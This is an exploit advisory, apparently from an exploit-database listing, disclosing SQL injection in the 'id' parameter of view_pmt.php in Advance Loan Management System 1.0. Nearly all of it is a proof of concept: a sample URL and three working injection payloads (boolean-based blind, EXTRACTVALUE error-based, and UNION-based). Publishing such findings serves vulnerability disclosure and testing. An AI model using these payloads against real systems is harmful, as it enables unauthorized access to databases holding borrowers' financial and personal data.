Advance Loan Management System 1.0 SQL Injection

`# Exploit Title: Advance Loan Management System - 'id' SQL Injection  
# Date: 2018-01-31  
# Exploit Author: 8bitsec  
# Vendor Homepage: https://codecanyon.net/  
# Software Link: https://codecanyon.net/item/advance-loan-management-system-with-savings-system-and-sms-notification/21283070  
# Version: 1.0  
# Tested on: [Kali Linux 2.0 | Mac OS 10.13.3]  
# Email: [email protected]  
# Contact: https://twitter.com/_8bitsec  
  
Release Date:  
=============  
2018-01-31  
  
Product & Service Introduction:  
===============================  
LMS a Make your Bank Loan Management easy LMS is a Modern and Responsive Loan management system.  
  
Technical Details & Description:  
================================  
  
SQL injection on [id] parameter.  
  
Proof of Concept (PoC):  
=======================  
  
SQLi:  
  
https://localhost/[path]/view_pmt.php?id=9' AND 7768=7768 AND 'Vgmm'='Vgmm  
  
Parameter: id (GET)  
Type: boolean-based blind  
Title: AND boolean-based blind - WHERE or HAVING clause  
Payload: id=9' AND 7768=7768 AND 'Vgmm'='Vgmm  
  
Type: error-based  
Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)  
Payload: id=9' AND EXTRACTVALUE(1999,CONCAT(0x5c,0x7162707071,(SELECT (ELT(1999=1999,1))),0x716b6a7171)) AND 'dJCx'='dJCx  
  
Type: UNION query  
Title: Generic UNION query (NULL) - 9 columns  
Payload: id=-1179' UNION ALL SELECT NULL,NULL,CONCAT(0x7162707071,0x4c714c75756a7843774f4479627566597448726c6f51547a4d7a5766686345446b43587965626470,0x716b6a7171),NULL,NULL,NULL,NULL,NULL,NULL-- FLWW  
  
==================  
8bitsec - [https://twitter.com/_8bitsec]  
  
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